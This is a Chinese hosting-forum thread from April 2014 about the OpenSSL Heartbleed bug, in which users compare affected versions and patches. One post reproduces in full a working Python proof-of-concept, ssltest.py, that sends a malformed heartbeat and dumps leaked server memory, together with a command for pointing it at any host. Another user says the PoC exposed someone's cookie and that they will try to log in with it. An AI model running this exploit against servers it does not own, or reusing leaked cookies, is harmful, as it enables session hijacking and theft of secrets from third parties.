全球主机交流论坛

 找回密码
 注册

QQ登录

只需一步,快速开始

CeraNetworks网络延迟测速工具IP归属甄别会员请立即修改密码
楼主: 杨咩咩

OpenSSL 严重缺陷

[复制链接]
发表于 2014-4-9 02:41:23 | 显示全部楼层
晓白 发表于 2014-4-9 01:20
刚看了下 自己是编译安装的openssl-1.0.1c版本 是不是代表我可以幸灾乐祸一下??? ...

你的有漏洞,用openssl-1.0.1g
发表于 2014-4-9 02:52:43 | 显示全部楼层
ekucn 发表于 2014-4-9 02:39
http://blog.existentialize.com/diagnosis-of-the-openssl-heartbleed-bug.html
不就是这个原因。。。 ...

不是啊. 网上说centos 5没事, 不是那个版本的openssl也没事, 但为什么检测起来却有事...
发表于 2014-4-9 03:51:47 | 显示全部楼层
domin 发表于 2014-4-9 02:52
不是啊. 网上说centos 5没事, 不是那个版本的openssl也没事, 但为什么检测起来却有事... ...

别看了,PoC打印出信息了。。快yum upgrade吧

GVH也中招了,发现某个人的cookie了,看看能不能连上
发表于 2014-4-9 05:36:31 | 显示全部楼层
雨宫音羽 发表于 2014-4-9 03:51
别看了,PoC打印出信息了。。快yum upgrade吧

GVH也中招了,发现某个人的cookie了,看看能不能连上 ...

看来网上信息也不对嘛. 我明明用centos 5和0.9.8...怎么也有洞
发表于 2014-4-9 20:01:01 | 显示全部楼层
domin 发表于 2014-4-9 05:36
看来网上信息也不对嘛. 我明明用centos 5和0.9.8...怎么也有洞

可能是你的Apache是预编译的 并且编译时使用的是全静态编译。
发表于 2014-4-9 23:55:59 | 显示全部楼层
雨宫音羽 发表于 2014-4-9 20:01
可能是你的Apache是预编译的 并且编译时使用的是全静态编译。

用的是litespeed...估计可能是litespeed的问题.
发表于 2014-4-10 00:27:18 | 显示全部楼层
网上找来的,把最后面的代码保存为ssltest.py,加执行权限。

执行下面命令就可以看出有没有问题,这个比那个网站上的测试准确些。
  1. ./ssltest.py abc.com -p 443
复制代码

  1. #!/usr/bin/python

  2. # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
  3. # The author disclaims copyright to this source code.

  4. import sys
  5. import struct
  6. import socket
  7. import time
  8. import select
  9. import re
  10. from optparse import OptionParser

  11. options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
  12. options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

  13. def h2bin(x):
  14.     return x.replace(' ', '').replace('\n', '').decode('hex')

  15. hello = h2bin('''
  16. 16 03 02 00  dc 01 00 00 d8 03 02 53
  17. 43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
  18. bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
  19. 00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
  20. 00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
  21. c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
  22. c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
  23. c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
  24. c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
  25. 00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
  26. 03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
  27. 00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
  28. 00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
  29. 00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
  30. 00 0f 00 01 01                                 
  31. ''')

  32. hb = h2bin('''
  33. 18 03 02 00 03
  34. 01 40 00
  35. ''')

  36. def hexdump(s):
  37.     for b in xrange(0, len(s), 16):
  38.         lin = [c for c in s[b : b + 16]]
  39.         hxdat = ' '.join('%02X' % ord(c) for c in lin)
  40.         pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
  41.         print '  %04x: %-48s %s' % (b, hxdat, pdat)
  42.     print

  43. def recvall(s, length, timeout=5):
  44.     endtime = time.time() + timeout
  45.     rdata = ''
  46.     remain = length
  47.     while remain > 0:
  48.         rtime = endtime - time.time()
  49.         if rtime < 0:
  50.             return None
  51.         r, w, e = select.select([s], [], [], 5)
  52.         if s in r:
  53.             data = s.recv(remain)
  54.             # EOF?
  55.             if not data:
  56.                 return None
  57.             rdata += data
  58.             remain -= len(data)
  59.     return rdata
  60.         

  61. def recvmsg(s):
  62.     hdr = recvall(s, 5)
  63.     if hdr is None:
  64.         print 'Unexpected EOF receiving record header - server closed connection'
  65.         return None, None, None
  66.     typ, ver, ln = struct.unpack('>BHH', hdr)
  67.     pay = recvall(s, ln, 10)
  68.     if pay is None:
  69.         print 'Unexpected EOF receiving record payload - server closed connection'
  70.         return None, None, None
  71.     print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
  72.     return typ, ver, pay

  73. def hit_hb(s):
  74.     s.send(hb)
  75.     while True:
  76.         typ, ver, pay = recvmsg(s)
  77.         if typ is None:
  78.             print 'No heartbeat response received, server likely not vulnerable'
  79.             return False

  80.         if typ == 24:
  81.             print 'Received heartbeat response:'
  82.             hexdump(pay)
  83.             if len(pay) > 3:
  84.                 print 'WARNING: server returned more data than it should - server is vulnerable!'
  85.             else:
  86.                 print 'Server processed malformed heartbeat, but did not return any extra data.'
  87.             return True

  88.         if typ == 21:
  89.             print 'Received alert:'
  90.             hexdump(pay)
  91.             print 'Server returned error, likely not vulnerable'
  92.             return False

  93. def main():
  94.     opts, args = options.parse_args()
  95.     if len(args) < 1:
  96.         options.print_help()
  97.         return

  98.     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  99.     print 'Connecting...'
  100.     sys.stdout.flush()
  101.     s.connect((args[0], opts.port))
  102.     print 'Sending Client Hello...'
  103.     sys.stdout.flush()
  104.     s.send(hello)
  105.     print 'Waiting for Server Hello...'
  106.     sys.stdout.flush()
  107.     while True:
  108.         typ, ver, pay = recvmsg(s)
  109.         if typ == None:
  110.             print 'Server closed connection without sending Server Hello.'
  111.             return
  112.         # Look for server hello done message.
  113.         if typ == 22 and ord(pay[0]) == 0x0E:
  114.             break

  115.     print 'Sending heartbeat request...'
  116.     sys.stdout.flush()
  117.     s.send(hb)
  118.     hit_hb(s)

  119. if __name__ == '__main__':
  120.     main()
复制代码
发表于 2014-4-10 01:46:47 | 显示全部楼层
domin 发表于 2014-4-9 23:55
用的是litespeed...估计可能是litespeed的问题.

没在用Litespeed,不过他们8号有发布补丁。。。

http://blog.litespeedtech.com/2014/04/08/litespeed-security-patch-to-fix-heartbleed-bug-in-openssl/
发表于 2014-4-10 01:58:31 | 显示全部楼层
我是人 发表于 2014-4-10 01:46
没在用Litespeed,不过他们8号有发布补丁。。。

http://blog.litespeedtech.com/2014/04/08/litespeed-s ...


http://www.hostloc.com/thread-239974-1-1.html
发表于 2014-4-10 02:01:48 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Archiver|手机版|小黑屋|全球主机交流论坛

GMT+8, 2024-5-27 00:11 , Processed in 0.059311 second(s), 6 queries , Gzip On, MemCache On.

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表